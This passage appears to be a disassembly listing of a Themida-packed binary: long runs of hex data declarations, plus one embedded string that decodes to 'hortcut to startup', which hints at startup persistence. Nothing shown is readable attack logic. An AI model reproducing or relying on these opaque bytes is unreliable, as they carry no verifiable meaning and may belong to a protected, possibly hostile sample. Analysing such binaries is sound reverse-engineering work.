		dd 3119D8Dh, 0A8F98106h, 0FFFFF9Ah, 0FFFF7C85h,	68E0FFFh
		dd 8B000000h, 3209D85h,	0D38D8D06h, 6A060840h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 728CC351h, 0DCACF80Ah, 0F93EA5Dh, 983h, 0FFC6000h, 89h
		dd 8D896100h, 60331D1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 52C35545h, 2C1D19h, 31419D09h, 0B70F0603h
		dd 0E185C7F9h, 0D4060301h, 8A000073h, 0BD85C7DDh, 60321h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 2DC0C356h, 775196D3h, 13DD8D29h
		dd 0B5FF0603h, 6031375h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 37C35545h, 0EE856h, 9A950000h, 820DA1Ah
		dd 5E0EC3E7h, 8CE6A55Ch, 20FDB58Bh, 3580603h, 31A3995h
		dd 9195FF06h, 0BF060326h, 652E2D5Dh, 95FF006Ah,	6031FB9h
		dd 2CEBC08Bh, 51B75B66h, 8D437B26h, 2146C2C9h, 50F5F0B4h
		dd 68C2638Eh, 0B1C439DCh, 61236A52h, 3A6EDA50h,	0A8DC299Ah
		dd 3E19201h, 4051C91Ah,	41BF8D8Dh, 0BD8B0608h, 60308B9h
		dd 31D18D89h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D4D36BC3h, 2D8A9059h, 8958FC56h
		dd 3139585h, 0D5BD8906h, 0C7060322h, 301E185h, 5BBC06h
		dd 12E900h, 150B0000h, 4B8F5ED3h, 591BC754h, 0B1AF10CDh
		dd 923D1BABh, 21BD85C7h, 603h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F02684C3h
		dd 0B00DCB17h, 159D89ADh, 0F06031Fh, 68Dh, 81BD3300h, 0FF060312h
		dd 321ADB5h, 95FFF906h,	6032691h, 6941BF66h, 95FF006Ah
		dd 6031FB9h, 6BEBC08Bh,	0FA43F29Eh, 0A77E27A3h,	3302E300h
		dd 5DE50543h, 0EFBD7C79h, 8609E39Dh, 0FCB87B85h, 85AC6FBDh
		dd 26FF339h, 2D1BBB47h,	60904F8Ch, 18F69FC9h, 8BB39CF3h
		dd 0AEC082F0h, 60B7341Fh, 64196BF6h, 31A8ECABh,	0BE54741Dh
		dd 8B59B12Dh, 11B58B16h, 8EF0C7F3h, 0C9DE27C3h,	0CA433FDh
		dd 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h, 0DE5A11EAh, 0D4D4712Ah
		dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h,	0F1982633h
		dd 0EF5E265Ah, 339B090Ah, 0FFB44E60h, 0F867A5E4h, 0A09B0EFAh
		dd 2024A3BEh, 79672035h, 0FAC1A3BAh, 0D71B2030h, 339B0AEEh
		dd 831D2933h, 0C0982633h, 0AEDA19B6h, 0D6157635h, 0AF906402h
		dd 8D0DD963h, 839E251Dh, 35982664h, 1F152359h, 4B906472h
		dd 971DAB63h, 39E2E71h,	8FB9B3CCh, 14932030h, 6AA1A23Ch
		dd 0B0152633h, 9C906472h, 4DAACE63h, 0F6D82633h, 11DFA3BEh
		dd 24C8203Bh, 0DCDA67B6h, 0FF677635h, 339B34B6h, 1794E2B0h
		dd 45DA67B6h, 23157635h, 55906402h, 0F00DD963h,	3D9E251Dh
		dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh
		dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h,	35B2CF3Bh
		dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h
		dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch,	4EC3D9CCh
		dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
		dd 88152637h, 9C90641Ch, 0EFCABBEh, 9320203Bh, 78000000h
		dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh,	0B58DFFFFh
		dd 6084364h, 43838D8Dh,	0CF2B0608h, 8B05E983h, 536CEBC8h
		dd 74726F68h, 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0)
		dd 1C000000h, 1462C01h,	0E9000000h, 0F5Eh, 8459868h, 0FE5AE906h
		dd 7D68FFFBh, 0E9060846h, 0FFFBFE50h, 8484C68h,	0FE46E906h
		dd 0A168FFFBh, 0E9060848h, 0FFFBFE3Ch, 8495868h, 0FE32E906h
		dd 0FA68FFFBh, 0E9060849h, 0FFFBFE28h, 84E3468h, 0FE1EE906h
		dd 9E68FFFBh, 0E9060850h, 0FFFBFE14h, 851A068h,	0FE0AE906h
		dd 3457FFFBh, 0C0DA988Ah, 4E6A081Ah, 0E404BAA8h, 6D8A283Ah
		dd 2B735BC9h, 0E7751136h, 1301A1C1h, 8C9E345Dh,	3D2FCBEEh
		dd 8FDBBA63h, 49A1A9C4h, 0E0054A21h, 0FA3C42DBh, 0ACCB4740h
		dd 9C98B0Ah, 316D4849h,	23837614h, 0C1F66406h, 754CE9C5h
		dd 0ADA455B2h, 58FB5EC6h, 0CBE8B411h, 867C8A2Bh, 0CEA1C0B5h
		dd 0A1A2C584h, 0E1011BB8h, 0AE985E35h, 3BAEh, 10743500h
		dd 0C07C1732h, 53D2B457h, 80E33ECBh, 0ADA491EDh, 0F0B2970Fh
		dd 2A4530D2h, 0A291034Bh, 0CBE63FA1h, 0A291FEE8h, 681636A1h
		dd 34691C84h, 8E6416D0h, 0D2DDAE98h, 0E6000000h, 9472C362h
		dd 7C5DFD19h, 6A1FDC86h, 8C0DADC8h, 8C0DA9CEh, 8E0FABCEh
		dd 1301A9CCh, 0A195257Eh, 23688DA7h, 6C470A3Dh,	0A7A1B27Ah
		dd 0BEBD1C84h, 113D39Eh, 25A44663h, 0B3967410h,	0B534D6F3h
		dd 0E8CB06F3h, 0ADA49D6Dh, 1605178Fh, 9AB19472h, 0A29CAF3Bh
		dd 1CE9A9A1h, 348FAAC1h, 0A1A29CA2h, 0BE11E45Ch, 0ABA42DA7h
		dd 0BD54F1A1h, 0E1235FB9h, 1433C61Dh, 0BA5B26F9h, 3A6B81D5h
		dd 0CDB85A78h, 0A6B45271h, 2441E300h, 85450786h, 0C30DDC15h
		dd 0AFB62B28h, 0D02h, 46D47A9Dh, 0F6640620h, 60F294B0h
		dd 96842A42h, 113B3D0h,	577CE535h, 0E70FADBFh, 7A9BD94Bh
		dd 11344AD8h, 7CD9FB69h, 0A9C57565h, 80FB83A1h,	2A38DE05h
		dd 5BC97194h, 3210741Ch, 9111BC17h, 387AADA4h, 5D787919h
		dd 0A2921442h, 7232E2A1h, 10910187h, 0A2927571h, 0B28A49A1h
		dd 988DC670h, 0DB3FAEh,	5440000h, 0FBBB3AE0h, 0D8BB3ADCh
		dd 0A7A185C3h, 0FE6C0E2Bh, 0FCFD9DB8h, 4AEFCBCFh, 0A49DEC6Bh
		dd 7BAE41ADh, 0A7D685A7h, 6029381Ah, 9959BFF4h,	9DB878ECh
		dd 8F89C9C2h, 744F6005h, 0A1A28462h, 9164249Ch,	0E5A9484Dh
		dd 0C3233F08h, 72D8DECDh, 7E3E39B9h, 623E5A8Bh,	4BEEAE44h
		dd 0A4BCE268h, 0B99C04ABh, 2A38DE05h, 0F197B3F3h, 0F3B534D2h
		dd 0C7EC4633h, 0D8CBF2Fh, 0E69B28C4h, 0C1DFFh, 0BF5F7800h
		dd 4FEB0FADh, 0DD799FDDh, 6F0F294Fh, 0FE98BFFDh, 5B00186Ch
		dd 0EA889A3Ch, 862436CCh, 1351C35Fh, 0BCC654F6h, 0C6580E61h
		dd 16A6A1A9h, 6C47629Dh, 0A7A1807Ah, 80E4F2CDh,	0A212A7A1h
		dd 6F9456CEh, 0E396D6D7h, 90822443h, 3EDCF9B5h,	30DAFFBFh
		dd 4A3FFFB1h, 3F2DCDE8h, 3AE00540h, 99F2441Fh, 0CCCD6D89h
		dd 749E2D8Ch, 27CB9FF6h, 8D35A7A1h, 5B938CDh, 7821DBE0h
		dd 87383E17h, 226655C7h, 0A38EE144h, 0CDADA411h, 3D715455h
		dd 98B07218h, 0CA8003F6h, 0F6A1A268h, 0B92180DFh, 47A1A268h
		dd 93692ADFh, 97B7A753h, 710AEh, 5EAB0000h, 87Dh, 32107425h
		dd 0A659BC17h, 13B2ADA4h, 3BA10707h, 4A62200Ah,	966325A4h
		dd 24038232h, 0DFAA486Eh, 7D9A4267h, 0E2FDD8D9h, 0A1A232F4h
		dd 12D29202h, 0A3476200h, 11314322h, 7F1C08E6h,	5BBA559Dh
		dd 4AFE9553h, 0D9FCB643h, 688D2331h, 82F67C2h, 0B9D89B6Eh
		dd 0CAE6C9CEh, 0EA55B714h, 7B392BCFh, 0F09EBE5Eh, 189AB130h
		dd 195B5AFCh, 0C9FEF56Ch, 7E1FCAE6h, 7416339Eh,	5A5C0E6h
		dd 0F7D3B784h, 0D7F07352h, 0B24DC0E3h, 0CF54A5ACh, 63E19459h
		dd 0F3F290B1h, 4363F1B1h, 0D7FDB1F1h, 0BB4795DEh, 0E0A0BB97h
		dd 29DAAFE1h, 0DDB4916Dh, 0DEEEE85Ah, 461906BEh, 0FCFFE601h
		dd 3507C4C0h, 2DCAABCFh, 4F2603C3h, 0FAFAD494h,	0FCC1C070h
		dd 54465B98h, 0B4A12BFEh, 307E51F4h, 5EF0C647h,	264343E6h
		dd 0C6C76386h, 0F9B96184h, 0BC7C1E3Bh, 0FD2599h, 0C9A739A1h
		dd 9F5FC7C4h, 0E63D18EAh, 0C9A7DB8Fh, 4DF10BC4h, 0B0600C4Ch
		dd 0AE4C69C5h, 22F4173Eh, 726DE480h, 0A4Eh, 92802E49h
		dd 210BADCh, 0BCAE486Ch, 2230DEFEh, 5DCF678Ch, 0B283149h
		dd 9BBBF96Bh, 2E571507h, 0C5E08694h, 0B06D3725h, 0A9C889D1h
		dd 4C2777A1h, 35DBE005h, 42146FBBh, 0BCA7A139h,	0C34A504h
		dd 35363FFCh, 9C9F7D0h,	30C65949h, 9C551CBBh, 9F985h, 0DB83A400h
		dd 6B0F2B49h, 0F99DBBF9h, 8B33556Bh, 1ABCDB99h,	87DC3C08h
		dd 1654C660h, 0A2C052F0h, 3F7DEF83h, 0D0E2701Ah, 0C87C6A45h
		dd 0F29AA1A9h, 3AE005F9h, 3ADCFBBBh, 0FE388428h, 0FBFAA4C4h
		dd 8307CCB9h, 602382A7h, 0B4ADA4B0h, 594C130Ch,	0E46F5DF5h
		dd 0CC67C2A0h, 8B4AC002h, 9AB144A7h, 64FF203Bh,	13316D6Ah
		dd 92028673h, 3FDBFFB7h, 680BFEBEh, 0C6633F5Bh,	0F3168CABh
		dd 77165657h, 6A62FF63h, 0F150259Dh, 60648BB1h,	50FC1C96h
		dd 52129333h, 5061E792h, 0E9040520h, 0E742020Dh, 8AECAC8h
		dd 6A4C17Dh, 97335614h,	84AB1207h, 7960E1F0h, 942h, 86943A5Dh
		dd 3624C6E0h, 0A0B25470h, 0D644EA02h, 41D37390h, 173C2575h
		dd 0A7CFED7Fh, 3A5B190Bh, 0D1F48A98h, 0BC993B29h, 0A9C9B525h
		dd 403B43A1h, 7A6C4762h, 84A7A180h, 0B0D5691Ch,	0B1102F0Ah
		dd 0A7A18029h, 3FAB0AD7h, 0D9A7A180h, 0BDDB9959h, 36156C19h
		dd 96BD577Ch, 0FFBFF1F0h, 0E989A80Ah, 4360227Bh, 22E280A1h
		dd 0D4A14160h, 0A1818D7Dh, 523054A7h, 0C54F9CF7h, 0B89ADA9h
		dd 0AE8B4BEFh, 0B435CDF4h, 0C8CA01F4h, 591F0DADh, 5F1F9E3Ch
		dd 5F1F9E38h, 270C9C36h, 0F422C311h, 8A0627Dh, 0DCFF0000h
		dd 68822032h, 0F61250C2h, 8CACC250h, 153270E2h,	839BE371h
		dd 0F1DB9DEh, 0BBA94969h, 0D446DC05h, 45D77396h, 0D783E23Bh
		dd 21A1A9C9h, 0E0052299h, 7EA71F3Ah, 1C5E11E4h,	25051F9h
		dd 0E500AF8Dh, 5FF6D745h, 62B5BD8Bh, 6F926724h,	0B49AFFBBh
		dd 56024h, 87ADE100h, 74A11AEFh, 0F8173210h, 0F9E74359h
		dd 1FEAC151h, 0A94E5784h, 54F1A1ADh, 8D9F3B5Eh,	44126D88h
		dd 0B2A1A94Dh, 0C9CE7702h, 30484AEFh, 0B84D0F8Eh, 0ECC7E239h
		dd 0A1A94DFAh, 76E99C04h, 270520ADh, 28FA52F1h,	3526697Eh
		dd 2EE7h, 0F74FC00h, 0C5F91431h, 1C3AF89Eh, 4610F386h
		dd 0B0A7A180h, 38EE8100h, 9CC808E3h, 11C565C7h,	8A943441h
		dd 7, 23F5E11h,	74250000h, 9F173210h, 9DDFDE78h, 80B1D9B8h
		dd 0D74FA7A1h, 0ADC8E722h, 5736D4F1h, 0A7A18003h, 0D1B045FDh
		dd 0ADA9C4E4h, 1635B46Ch, 0D1D07A9Ch, 606BEA9Fh, 0AAA1A9C4h
		dd 0B7F7F68Ch, 0A6F4F591h, 34A60BE1h, 1F7BB597h, 28CBE643h
		dd 1A7C57A8h, 956242B6h, 9CC2A607h, 0A73D2A7h, 8EABA1BBh
		dd 3506DF7h, 9858D53Fh,	37CFF48Ah, 37CFF4B6h, 0D4769012h
		dd 8FE693D5h, 8D0CA6CFh, 8C0DADC9h, 0D57AD2E7h,	5CC359FEh
		dd 0EF8D9F37h, 0E8AA2BC7h, 1CA928CAh, 14329D7Fh, 0FF2EB81Bh
		dd 6828ABB1h, 8527BAA8h, 79ABB100h, 0FB9BB858h,	6E8B293Bh
		dd 80D6A9h, 0C67EABB1h,	0D796D1E7h, 0D69617D1h,	0F74AED7h
		dd 0E6F91431h, 0A7A180F0h, 1AE3960Eh, 0BBA43E64h, 0E5A2DF07h
		dd 78932B41h, 2D57CC8Ch, 0A9557788h, 0AC526A28h, 4E0B32Dh
		dd 6E685A7h, 9AA432E4h,	0E004BEB4h, 0E681B346h,	1A000003h
		dd 62042062h, 0DE542163h, 51FD1FB9h, 33521050h,	92DEDF9Fh
		dd 0B5973402h, 0EC49ED0Ah
		dd 3E521A55h, 8471A968h, 7B1B387Eh, 0DAF9B5E0h,	0BF5B7E3Ch
		dd 2B8B7E3Eh, 7EC770Bh,	75905AB2h, 0A1CB4C1Ah, 146F8AA7h
		dd 0A7A1CB42h, 0B14404BCh, 2F30D6FDh, 0D5D47693h, 0A1CB3BB2h
		dd 886C23A7h, 0F4660421h, 12B6DDD1h, 105051F5h,	0E809A550h
		dd 0A1284B4Ah, 0A9A7A1CBh, 0CAC812EAh, 0C98B0AB0h, 0C15F863Ch
		dd 0C08001A1h, 4544EA02h, 0B0D14303h, 0A7A1C6B2h, 4B26D568h
		dd 2799B49Bh, 22FFFFFFh, 283AE005h, 0CACB6F8Ah,	0A18020ABh
		dd 87653AA7h, 0F85DFD18h, 73069CBAh, 0A6CDE3h, 2213EE81h
		dd 2E677815h, 0D5799313h, 0D221A234h, 11E45C77h, 9C4E987Ch
		dd 5E427FEh, 69h, 9CCAA5C0h, 7A77D22Dh,	2D92C4DFh, 0B46C77D2h
		dd 749401F4h, 0BC173210h, 0ADA9C447h, 315051C1h, 0A1A9C4AAh
		dd 0B575D78Ch, 0AE936A01h, 217Ah, 3E675F00h, 59EA2345h
		dd 59196040h, 0E86D1858h, 0A18BC026h, 0E02B32A7h, 0B2FFFFFDh
		dd 185Eh, 0B65E2500h, 7B000002h, 8015455Ch, 302EA7A1h
		dd 0ACD9F821h, 53269E72h, 6C4762EAh, 0A7A1807Ah, 0D5691C84h
		dd 42146FB0h, 0BCA7A180h, 4445E106h, 5844404h, 94862441h
		dd 2207E3A7h, 1C5ED883h, 22D7C17Eh, 0EB0D8CE7h,	0D26FADA4h
		dd 0A20AE7F3h, 0E1A111A1h, 0AC581E0h, 5AF9A1A2h, 5F7A38C2h
		dd 8F7A3ABBh, 98199E48h, 4C07AEh, 0C0C20000h, 42E001A3h
		dd 0B4410143h, 321074C7h, 9111BC17h, 387AADA4h,	397B7A1Ch
		dd 5958D84Ch, 0A2924C06h, 0BA6484A1h, 0BD617B3Bh, 15F7A43Ch
		dd 0EB411EA8h, 988D8F3Bh, 0EFC61DAEh, 0A1A29EFBh, 38E89D05h
		dd 0D9h, 0E280A11Dh, 0E005A617h, 0AD441F3Ah, 8D36B714h
		dd 6B2B4A3Fh, 6B2BAA4Ch, 1D04D4Eh, 0FC9CA798h, 0DCF9BD3Ch
		dd 70AD2C3Eh, 0BEA7A11Ah, 3E6DFF9Bh, 0E5D97C5Ah, 0E5A726BCh
		dd 7DEF510h, 0D5ACAEB4h, 0A7A17585h, 0F0E2C373h, 25BC498Eh
		dd 0ADA753AFh, 0DC8AE500h, 3AA1A7ABh, 99198F7Ah, 82D61BCh
		dd 0E1A14160h, 0DD799E14h, 841C3A78h, 7207C75Fh, 0E0A5C2E0h
		dd 10730D29h, 0B3D795B6h, 16D69617h, 0C153A786h, 0E2FD7422h
		dd 466h, 0FA681631h, 6AF8A2C4h,	84963054h, 0A18C6E6h, 0A5B74F74h
		dd 0F3104951h, 83A3C153h, 163F7DEFh, 0ADC8EE7Ch, 0D8451F0Dh
		dd 0A9CE91F9h, 645F6FA1h, 2A38DE05h, 0B1CB7194h, 49E84D0Dh
		dd 0F2CDFBF3h, 0A7A178E4h, 7203A212h, 4EE9BF9h,	38E0055Fh
		dd 3D7F7E20h, 30B15D7Fh, 1A31B070h, 0DADB7B98h,	1DBDD89Ah
		dd 0BAFCA68h, 906E2A19h, 0FBCF1AB5h, 7F4FDAF9h,	0F5744F8Ah
		dd 4EADA4CAh, 16972F54h, 752DA356h, 0F25B1574h,	7593A1A2h
		dd 7492D0D1h, 0A176DFDEh, 19C1E44Bh, 30148B59h,	9BBE9CF8h
		dd 0A7EC3938h, 0F163D3ABh, 4DE8C6C2h, 0AF4BE172h, 8AAF17A1h
		dd 0D84AEC08h, 0AF53D7B9h, 4CE60FB5h, 5FC3DEh, 628A0000h
		dd 93660820h, 0A180BA30h, 0AF8303A7h, 3FD9FFBDh, 3EBF7F1Bh
		dd 0A1800B5Fh, 27BBDBA7h, 18C2E4A6h, 125E799h, 0D8983A5Bh
		dd 0D87EA5D9h, 0ADCEA7D9h, 7409E24Fh, 6B0B2990h, 215F37CEh
		dd 327C19B9h, 0D8F9BF47h, 269CBB3Ah, 24646501h,	0D1A44266h
		dd 0A140777Eh, 58BC63A7h, 2032D0F1h, 44DC05BBh,	61C4841Eh
		dd 9461092Dh, 0D87899DDh, 0A240FFC0h, 0DD2ED834h, 0E5C5D1Dh
		dd 0E50CB389h, 0ED014928h, 47FFA7A1h, 0C8E0A287h, 0CE835326h
		dd 0A7A1F91Ah, 902C7829h, 0AF6FCB26h, 9B7AED92h, 572E45B4h
		dd 0A7A1B103h, 0B18DDDB4h, 0CB4BA7A1h, 5A8A7F27h, 0FFFFFF4Bh
		dd 3AE00561h, 5B2441Fh,	5FC16AAAh, 6E8BCBAAh, 2D695ECCh
		dd 9ABEF451h, 0CEBBFDFCh, 25DF413h, 0AC5936E0h,	6928AB5Eh
		dd 0CAADA409h, 4747B12Bh, 1EEB5B52h, 0E88B0A8Ah, 0A1A200E2h
		dd 96887DEh, 0A1A20041h, 517207BFh, 237F2BFBh, 0B1EDAE98h
		dd 0B5F7F694h, 3010C0h,	74AB0000h, 0BC173210h, 0ADA49111h
		dd 625EDB7Ah, 0E4292BD6h, 8203B311h, 0A2BAEBE3h, 0DC38D7A1h
		dd 98655802h, 0B9DED4AEh, 29DC9C1Dh, 9EE7h, 0E005FC00h
		dd 0DCFBBB3Ah, 0DEFBBB3Ah, 7FA5193Ch, 0D3A6E6E7h, 13B7D290h
		dd 855B4001h, 7693A7A1h, 0AC4746D4h, 0FB4EEBB6h, 5DD1A4C3h
		dd 22139238h, 0D2AD8866h, 0ADA4140Bh, 0B2F055CDh, 0B3F5F49Ah
		dd 8B0F3CC6h, 0AB2B8AAFh, 4DABA4E2h, 153270D5h,	33B25473h
		dd 0DA3B171h, 0E75040E6h, 3428C450h, 1FCA2BDh, 809B0000h
		dd 0C2E4CDEh, 9ABEFC6Eh, 30486EFCh, 0B9DE9C8Eh,	0DF3F0F1Dh
		dd 0ABB95D7Ah, 0C755ED15h, 70E280A1h, 0E1731732h, 7B6F46DFh
		dd 85A1A9D0h, 0DE05FEF5h, 71942A38h, 741C5BC9h,	7C173210h
		dd 550F0C55h, 0BB5B78F4h, 0F0D30EFBh, 0ADA481DDh, 0F529F36h
		dd 0D5CD3C7Ah, 0F5F4AC20h, 0A2F6D892h, 53F310A1h, 53F31052h
		dd 4A1C7752h, 0B4A1A2F6h, 2507940Ch, 99422399h,	8545D5ECh
		dd 6EB89C33h, 0AE9879BCh, 0C025h, 0E005BE00h, 0DCFBBB3Ah
		dd 0C59CBB3Ah, 0CF3F6D35h, 0B22DD8F9h, 0A7A15769h, 0EE0B8BA6h
		dd 573DAD4Ch, 0CCF5A7A1h, 19F5B736h, 3356EC99h,	0C2E78597h
		dd 0F0949918h, 79EA1FF3h, 6222D989h, 0AF75ECC7h, 0E4DEADA4h
		dd 0F96F1AC4h, 0A0E42B39h, 0A94867C2h, 0FB91547Bh, 0DAB5407Fh
		dd 0ABA4F23Bh, 0C2C065DDh, 3A1301A5h, 9D2841Fh,	742CABA8h
		dd 60062D81h, 0C4561170h, 78631E28h, 0FAh, 4EDC82A5h, 0FE6C0E28h
		dd 68FA9CB8h, 9E8C324Ah, 91BBBD8h, 5F84DD3Dh, 0EF1755C7h
		dd 82A3C153h, 193C72E0h, 44D1E371h, 0A9D17D6Dh,	0F8F39BA1h
		dd 2A38DE05h, 0ABCB7194h, 0F7D69617h, 872B7355h, 0A2B07074h
		dd 3AE00535h, 3CDEFBBBh, 0D2D0EF2Eh, 677312B8h,	91A7A180h
		dd 0A2446321h, 6F946123h, 0A8EA4F2Bh, 0AAEAEB8Bh, 6EA4560Bh
		dd 90650EFCh, 99251A75h, 0F3A3ADA9h, 0F595B0F2h, 0E3244167h
		dd 3E284A3h, 0A1A92157h, 1433F1A1h, 5033B272h, 0E1CD72A3h
		dd 0C06FCD92h, 511705A5h, 57179634h, 4A088935h,	4B0B8A30h
		dd 0CC6E882Ch, 0CACB8BCDh, 0D378DC61h, 1E819B38h, 9F375DFBh
		dd 9011B9DDh, 1E3510D0h, 8D74D387h, 51772DE1h, 0B47434B5h
		dd 5A7F3DC1h, 0FF1A31B0h, 8D74F2E4h, 0E1940CE1h, 1516h
		dd 47625D00h, 0A1807A6Ch, 391C84A7h, 0A18030A6h, 0A356CEA7h
		dd 0E2051067h, 0DCF9BD3Ch, 0D6FFBF3Eh, 0D9F9BD3Ch, 2 dup(0DDFAB839h)
		dd 0E2FAB839h, 0DBF9BD3Ch, 0DEF8BA3Bh, 83FABD3Ch, 348904ECh
		dd 81E68924h, 4C6h, 4EE8300h, 5C243487h, 7A0B68h, 240C8900h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 0BF572404h, 6084452h
		dd 685F5957h, 7592h, 83242489h,	58042404h, 2F685553h, 5D512761h
		dd 0C106EDC1h, 0E5C108E5h, 8C58103h, 89DB13E0h,	0C3015DEBh
		dd 0FF5B0B89h, 81582434h, 4C4h,	240C8B00h, 81E68956h, 4C6h
		dd 4C68100h, 87000000h,	0E95C2434h, 0FFFBEF14h,	67B69D28h
		dd 0CD2E5F20h, 52C21D1Fh, 0BFB8A89Dh, 3060852h,	6DE0FFC5h
		dd 4C66C3B4h, 0E417F62Ch, 0AE547A79h, 7B26D8CBh, 0B4A79F8h
		dd 4B6102C1h, 20746431h, 9334C61Ah, 319520Ah, 0CC4AA511h
		dd 0EC1456AEh, 0DB448FF1h, 9A67E8A6h, 603A3170h, 734289A7h
		dd 16007B2Ah, 0E33E82A4h, 0B8798858h, 146D61BAh, 7B35FF75h
		dd 958EE8Eh, 0EE01CCC3h, 8D37925Ah, 854898Dh, 8947B206h
		dd 331D18Dh, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8E0FDF72h, 6
		dd 23598589h, 7E90603h,	41000000h, 6A9B441Dh, 85C7B552h
		dd 60301E1h, 72E4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0C6C35747h, 13FF8928h, 1AE58529h, 85C70603h
		dd 60321BDh, 0
		dd 1BDCF681h, 0B5FF3237h, 60321D9h, 10E9h, 2158B300h, 0BBBB2796h
		dd 0F7C5CBEFh, 255CDEF0h, 9195FFB4h, 6A060326h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0AF91C353h, 0AF008368h, 6AC321h, 1FB995FFh, 0C08B0603h
		dd 5ACA09EBh, 82DF06C1h, 0E821DA25h, 5,	2DD5ABFBh, 0BD8B5856h
		dd 60304E1h, 6836C081h,	10E90000h, 0CD000000h, 0E290214Ah
		dd 62F7A73Bh, 0D2F32659h, 0BA840072h, 19E5h, 6810Fh, 0B5890000h
		dd 6031281h, 0FE8308Bh,	17000000h, 0EDB797E5h, 83B52DFAh
		dd 639F9C7Fh, 0E380D75Dh, 0F6815926h, 16CEE3C1h
dword_591168	dd 0CDC681F9h, 0F03AD11h, 581h,	6B7FBB00h, 0C681579Dh
					; DATA XREF: Themida_:off_55F1FFo
		dd 78E88808h, 609BD09h,	30890603h, 0CA8CA2BBh, 8CE88119h
		dd 0F32BC7Dh, 38Fh, 0CB8B6600h,	7D88C081h, 9D8932BCh, 6031B15h
		dd 1EA81h, 850F0000h, 0FFFFFF94h, 8D8DF88Bh, 6085603h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C8C35343h
		dd 3276EB1h, 0BA667E80h, 8D89C953h, 60331D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C1C35040h, 3A67E065h
		dd 3FE0CDA9h, 6810FFAh,	8B000000h, 31B7D85h, 0E185C706h
		dd 2C060301h, 0F000062h, 680h, 0A1858B00h, 0C7060317h
		dd 321BD85h, 6,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0DDBE66D7h, 0D9B5FF00h
		dd 51060321h, 5F5FF953h, 269195FFh, 958B0603h, 60308BDh
		dd 95FF006Ah, 6031FB9h,	9EBC08Bh, 3ED2A770h, 0AE380F4Ch
		dd 0D99D8D87h, 0B8060323h, 39h,	1B118589h, 0E80603h, 58000000h
		dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 0B0E9FFh
		dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h,	3135985h
		dd 36840F06h, 3B000000h, 32D1185h, 2A840F06h, 3B000000h
		dd 3017585h, 1E840F06h,	3B000000h, 3234585h, 12840F06h
		dd 83000000h, 32935BDh,	840F0106h, 5, 5FE9h, 3D08B00h
		dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h
		dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h
		dd 10h,	820FCE3Bh, 17h,	830FCF3Bh, 0Fh,	4A04C383h, 0FFDC850Fh
		dd 0DE9FFFFh, 8D000000h, 34D1C9Dh, 5B806h, 0E3FF0000h
		dd 0D00BC361h, 58258D8Dh, 6A0608h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 1AFAE8C3h, 37D3DCBAh
		dd 48D0FE8h, 66000000h,	89A91BBBh, 331D18Dh, 199D2906h
		dd 0C706031Dh, 301E185h, 59D806h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 1E860064h
		dd 0FB0CC3ADh, 6BBE66F7h, 9E8EEh, 56E30000h, 0DA19897Ah
		dd 298B6E6Dh, 3284595h,	85C75E06h, 60321BDh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8AC35141h
		dd 9C3717FCh, 0B2358DD7h, 31B5FF7Bh, 0E906031Ah, 0Dh, 9DE3516Ah
		dd 2EE8FB4Fh, 0DAAFB380h, 9195FFA3h, 6A060326h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 8FFDC356h, 0B06746F0h, 0CAF0F781h, 6A3B4Bh, 1FB995FFh
		dd 0C08B0603h, 182C38EBh, 0B78E5C59h, 6E30DA8Ah, 1DBEC4B0h
		dd 7632512Bh, 4A27EF47h, 0DAE7D9B3h, 0F581F3EBh, 0BC7A3BB7h
		dd 2D62A9Ch, 735EEFE8h,	0A2824AB4h, 9209E79Eh, 0C80AE239h
		dd 0DE8F53Bh, 0FC000000h, 0BD90229Dh, 0D36315DBh, 0CBB35CCCh
		dd 0F58F58Ah, 1B8Fh, 14E95300h,	0
		dd 3E64669Bh, 216CC4EEh, 0C4BDFBA2h, 0FCA92B75h, 5F7ECF3Ch
		dd 74FBC081h, 8D8B0000h, 6030C05h, 1CFEBBh, 0FE800h, 0C1080000h
		dd 0ECD13B24h, 4DBEF46Eh, 1C6643FEh, 30FF5A85h,	3175BD8Bh
		dd 0E95E0603h, 14h, 0F90882E8h,	0D2E04AE2h, 8E19A5D1h
		dd 0F39B5B8Ah, 0B35DA7B1h, 0E77DC681h, 8D8B1E78h, 60310F9h
		dd 0CB5BC681h, 0BA6066F7h, 0F85C23Eh, 5DD8D8Bh,	81610603h
